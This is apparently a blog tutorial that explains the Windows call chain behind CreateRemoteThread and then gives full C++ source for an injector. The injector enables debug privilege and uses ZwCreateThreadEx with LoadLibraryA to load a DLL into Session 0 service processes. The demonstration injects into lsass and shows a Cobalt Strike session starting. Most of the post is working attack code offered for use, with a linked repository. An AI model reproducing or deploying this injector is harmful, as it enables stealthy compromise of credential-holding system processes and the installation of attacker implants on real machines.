Remote thread injection to break through Session0 isolation session

foreword

When we use remote thread injection to inject dll into the system service process, it often fails, because most system services are running in Session0

"Session 0" is a special session in the Windows operating system, dedicated to running system services and other programs that need to run before the user logs in. Starting with Windows Vista and Windows Server 2008, in order to improve security, Windows separates user and system services in different sessions. Specifically, all services and system tasks run in Session 0, while all user interaction tasks run in other sessions

"Session 0 injection" generally refers to the process of injecting a program (usually a malicious program) into Session 0. Because Session 0 has many privileges, if a malicious program can be successfully injected into Session 0, it can obtain higher privileges than normal users to perform more malicious operations

However, due to security improvements in Windows Vista and subsequent versions of Windows, Session 0 injection has become more difficult. In particular, Session 0 is isolated and cannot directly interact with the user's graphical session

image


Remote thread injection function call process

1.CreateRemoteThreadStub

CreateRemoteThreadStubIt is kernel32.dllused in CreateRemoteThreadencapsulating functions, CreateRemoteThreadprocessing parameters, expanding from 7 parameters to 8 parameters, and dwCreationFlagssafely processing parameters

image-20230611165350503


2.CreateRemoteThread

CreateRemoteThreadThe function is located in KernelBase.dll and finally calls NtCreateThreadExthe function

image-20230611165720925


3.NtCreateThread

NtCreateThreadIt is a kernel-level function, which is part of the NTDLL library. The functions in the NTDLL library are mainly used by the kernel of the operating system (that is, kernel mode), and user-mode programs generally do not directly call these functions

image-20230611170023100




mov eax, 0C7h: Move the value 0c7hto the eax register, indicating that the 0c7hsystem call numbered is executed

syscall: This is an instruction to execute a system call. The syscall number and arguments should have been set before (in this case, by moving the contents of 0xC7and rcxto eaxand r10)

This code means to execute the 0xC7system call numbered. If ds:7FFE0308hthe lowest bit of is set, it will jump to another code before the system call (located loc_1800A0525, using int 2Ehinterrupt to enter the kernel). If the bit is not set, then execute the system call directly

image-20230611170146936


Summarize

The following is CreateRemoteThreadthe call flow chart of the function

  1. Application call CreateRemoteThread, a kernel32.dllWin32 API provided by to create a new thread in another process's address space.
  2. CreateRemoteThreadInternal call CreateRemoteThreadEx, which is a KernelBase.dlllower-level API provided by , which provides more options, such as specifying a security descriptor, controlling whether a new thread starts running immediately, etc.
  3. CreateRemoteThreadExInternal calls NtCreateThreadEx, this is ntdll.dllthe Native API provided by , and it is also the lowest-level API that user space can directly call.
  4. NtCreateThreadExAfter the function sets the parameters of the system call, it executes syscallthe instruction and switches to the kernel mode.
  5. In kernel mode, syscalllook up the corresponding kernel function in the SSDT table according to the system call number provided.
  6. Execute the functions found in the SSDT table to complete the thread creation.

image-20230611174832964


The difference between normal thread and remote thread

It can be seen that the normal thread function CreateThreadalso calls CreateRemoteThreadthe function, but the value of the thread handle parameter is -1, and the handle parameter of the remote thread is a specific value

image-20230611175907620




Code Implementation Ideas

1. ZwCreateThreadFunction declaration and definition

When we use the DLL to inject the process of the system service, it will fail. The reason for the failure is that when the CreateRemoteThreadfunction tries to inject the DLL in the session 0 isolated system service process, it ZwCreateThreadcreates a remote thread by calling the function, where the seventh parameter CreateThreadFlagsis set to 1. This means that the created thread will be suspended after completion and cannot be resumed, thus causing the injection to fail. For successful injection, this ZwCreateThreadExparameter needs to be changed to 0 by calling the function.

The following is ZwCreateThreadExa description of the function:

NTSTATUS ZwCreateThreadEx(
    OUT PHANDLE ThreadHandle,  //输出参数,新创建的线程的句柄。
    IN ACCESS_MASK DesiredAccess,  //所需的访问权限标志,例如PROCESS_ALL_ACCESS代表全部权限
    IN PVOID ObjectAttributes,  //对象的属性,通常为NULL。
    IN HANDLE ProcessHandle,  //所创建线程将要在其内运行的进程的句柄
    IN PTHREAD_START_ROUTINE StartRoutine,  //新线程的开始地址
    IN PVOID Argument,  //要传递给新线程的参数
    IN ULONG CreateFlags,  //要传递给新线程的参数
    
    //ZeroBits, StackSize, MaximumStackSize: 这些参数一般设置为0,表示使用默认的堆栈大小
    IN ULONG_PTR ZeroBits,  
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    
    IN PPS_ATTRIBUTE_LIST AttributeList  //用于传递更高级的线程属性,通常设置为NULL
);


Since ZwCreateThreadthe function is not described in the official documentation, we need to ZwCreateThreaddeclare the function:

#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

Then GetProcAddressget this function through the function

HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
    
    
		printf("GetProcAddress error\n");
		return -1;
	}

2. Elevate process privileges

If you want to inject the dll into the system service process, you need to elevate the privileges of the current process. The following is the code of the privilege escalation function:

// 提权函数,启用调试特权
BOOL EnableDebugPrivilege()
{
    
    
	HANDLE hToken; // 用于保存进程访问令牌的句柄
	BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态

	// 获取当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
    
    
		TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
		tp.PrivilegeCount = 1; // 设置特权数量为1

		// 获取“Debug Programs”特权的本地唯一标识符(LUID)
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用

		// 调整访问令牌,启用“Debug Programs”特权
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
		CloseHandle(hToken); // 关闭访问令牌的句柄
	}
	return fOk; // 返回函数是否执行成功的状态
}

3. Session0 injection function

The main function of this function is to inject the specified DLL in Session0. The steps include escalating rights, opening the target process, allocating memory in the target process and writing it to the DLL path, obtaining the address of the LoadLibraryA function, obtaining the address of the ZwCreateThreadEx function, creating a thread in the target process to run the LoadLibraryA function, and finally releasing resources

BOOL Session0Inject(DWORD pid, char* dllPath)
{
    
    	
	EnableDebugPrivilege();  //提权
	DWORD DllNameLength = strlen(dllPath);  //获取dll路径名的长度

	// 检查文件是否存在  注意:<filesystem>库需使用支持C++17或更高版本的编译器
	if (!std::filesystem::exists(dllPath)) {
    
    
		printf("指定的DLL文件不存在\n");
		return -1;
	}

	//1 获取目的进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
    
    
		printf("打开进程失败: %d\n", GetLastError());
		return -1;
	}

	//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
	VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == paraAddr)
	{
    
    
		printf("内存分配失败\n");
		return -1;
	}

	//3 将DLL的路径写到目标进程的内存
	if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
	{
    
    
		printf("写入内存失败!\n");
		return false;
	}

	//4 获取loadlibrary函数的地址
	HMODULE LibHandle = GetModuleHandle("kernel32.dll");
	FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
	if (!ProcAdd)
	{
    
    
		printf("获取LoadLibraryA失败!\n");
		return false;
	}

	//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	DWORD dwStatus;
	HANDLE hRemoteThread; 
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
    
    
		printf("GetProcAddress error\n");
		return -1;
	}

	//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
    
    
		printf("ZwCreateThreadEx error\n");
		return -1;
	}

	//释放dll
	FreeLibrary(hNtdllDll);

	//释放句柄
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
}

full code

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <string>
#include <filesystem>

#ifdef _WIN64
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* Fn_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

//获取进程ID的函数
DWORD GetProcessIdByName(const std::wstring& name) {
    
    
	DWORD pid = 0;
	HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snap != INVALID_HANDLE_VALUE) {
    
    
		PROCESSENTRY32W entry = {
    
     sizeof(entry) };
		if (Process32FirstW(snap, &entry)) {
    
    
			do {
    
    
				if (std::wstring(entry.szExeFile) == name) {
    
    
					pid = entry.th32ProcessID;
					break;
				}
			} while (Process32NextW(snap, &entry));
		}
		CloseHandle(snap);
	}
	return pid;
}


//提权函数,启用调试特权
//这个函数的主要作用是启用当前进程的“debug programs”特权,这个特权允许进程附加到其他进程并控制它们
BOOL EnableDebugPrivilege()
{
    
    	
	
	HANDLE hToken; // 用于保存进程访问令牌的句柄
	BOOL fOk = FALSE; // 用于保存函数是否执行成功的状态

	// 获取当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
    
    
		TOKEN_PRIVILEGES tp; // 用于保存特权信息的结构体
		tp.PrivilegeCount = 1; // 设置特权数量为1

		// 获取“Debug Programs”特权的本地唯一标识符(LUID)
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 设置特权的属性为启用

		// 调整访问令牌,启用“Debug Programs”特权
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		fOk = (GetLastError() == ERROR_SUCCESS); // 检查是否成功启用特权
		CloseHandle(hToken); // 关闭访问令牌的句柄
	}
	return fOk; // 返回函数是否执行成功的状态
}


BOOL Session0Inject(DWORD pid, char* dllPath)
{
    
    	
	EnableDebugPrivilege();  //提权
	DWORD DllNameLength = strlen(dllPath);  //获取dll路径名的长度

	// 检查文件是否存在  注意:<filesystem>库需使用支持C++17或更高版本的编译器
	if (!std::filesystem::exists(dllPath)) {
    
    
		printf("指定的DLL文件不存在\n");
		return -1;
	}

	//1 获取目的进程句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
    
    
		printf("打开进程失败: %d\n", GetLastError());
		return -1;
	}

	//2 为目的进程分配内存,用于存放Loadlibrary传入的参数,即dll的路径
	VOID* paraAddr = VirtualAllocEx(hProcess, NULL, DllNameLength + 1, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == paraAddr)
	{
    
    
		printf("内存分配失败\n");
		return -1;
	}

	//3 将DLL的路径写到目标进程的内存
	if (!WriteProcessMemory(hProcess, paraAddr, dllPath, DllNameLength + 1, NULL))
	{
    
    
		printf("写入内存失败!\n");
		return false;
	}

	//4 获取loadlibrary函数的地址
	HMODULE LibHandle = GetModuleHandle("kernel32.dll");
	FARPROC ProcAdd = GetProcAddress(LibHandle, "LoadLibraryA");
	if (!ProcAdd)
	{
    
    
		printf("获取LoadLibraryA失败!\n");
		return false;
	}

	//5 通过调用GetProcAddress函数来获取ZwCreateThreadEx函数的地址
	HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
	DWORD dwStatus;
	HANDLE hRemoteThread; 
	Fn_ZwCreateThreadEx ZwCreateThreadEx = (Fn_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
    
    
		printf("GetProcAddress error\n");
		return -1;
	}

	//6 使用获取到的ZwCreateThreadEx函数在目标进程中创建线程,运行LoadLibraryA函数,参数为DLL路径
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
		(LPTHREAD_START_ROUTINE)ProcAdd, paraAddr, 0, 0, 0, 0, NULL);
	if (NULL == ZwCreateThreadEx)
	{
    
    
		printf("ZwCreateThreadEx error\n");
		return -1;
	}

	//释放dll
	FreeLibrary(hNtdllDll);

	//释放句柄
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
}


int main(int argc, char* argv[])
{
    
    
	if (argc == 3)
	{
    
    	
		//atoi函数可将字符串转化为整数
		BOOL bRet = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
		
		if (-1 == bRet)
		{
    
    
			printf("Inject dll failed\n");
		}
		else
		{
    
    
			printf("Inject dll successfully\n");
		}
	}
	else
	{
    
    
		printf("你需输入两个参数,参数1为pid,参数2为dll的绝对路径\n");
		exit(1);
	}
}

run test

First get the PID of the lsass process, here is 696

1


Run cmd with administrator privileges, use session0 injection to inject the dll into the lsass process

image-20230611233625460


Cobalt Strike successfully launched

image-20230611234019447


In Tinder Sword, you can see the dll injected by the lsass process

1


project address

https://github.com/xf555er/Session0_Inject

Guess you like

Origin blog.csdn.net/xf555er/article/details/131172328